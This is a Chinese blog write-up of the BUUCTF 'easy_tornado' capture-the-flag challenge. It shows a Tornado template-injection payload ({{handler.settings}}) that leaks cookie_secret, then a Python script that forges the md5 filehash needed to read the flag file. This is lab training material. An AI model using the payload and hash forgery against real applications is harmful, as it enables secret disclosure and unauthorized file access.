BUUCTF-esay_tornado

首先进去是能看到三个文件的,进去能得到不同的提示
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查了一下render是渲染函数,能将变量渲染到模板中,再百度一下这题是模板注入,好了接下来又得看一下什么是模板注入了
https://www.jianshu.com/p/aef2ae0498df

回到这题,提示说flag在fllllllllllllag中,就试着在当前页面访问了一下
fb8548e2-3e1d-4f32-b91f-a8acb8901763.node3.buuoj.cn/file?filename=/fllllllllllllag
在这里插入图片描述
更神奇的是改变参数能原样输出
在这里插入图片描述
百度一下这考的是模板注入,通过看某大佬的博客知道cookie_secret在Application对象settings属性中,为什么会有这个想法呢?看其中一个提示md5(cookie_secret+md5(filename)),然后的操作我就看不懂了。。。。。
在这里插入图片描述
然后构造payload:?msg={{handler.settings}}拿到cookie_secret
在这里插入图片描述
接下来就是跑脚本了

import hashlib
def md5value(s):
    md5=hashlib.md5()
    md5.update(s)
    return md5.hexdigest()
def filehash():
    filename='/fllllllllllllag'
    cookie_s="eba88dfe-959d-4d80-a6a4-15a90da95fbf"
    print(md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_s+x
    print(md5value(y.encode('utf-8')))

filehash()

跑出一段hash值
在这里插入图片描述
看着很眼熟有没有,回到falg.txt那个页面
在这里插入图片描述把这里改成跑出来的值试试,哦还有把文件名也改成藏flag的那个文件名
?filename=/fllllllllllllag&filehash=25674e1bc815ac79cd203ed227aff02f
这样就出flag了
flag{bf66c507-db8e-4bc9-bd32-ae7d9c08af95}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值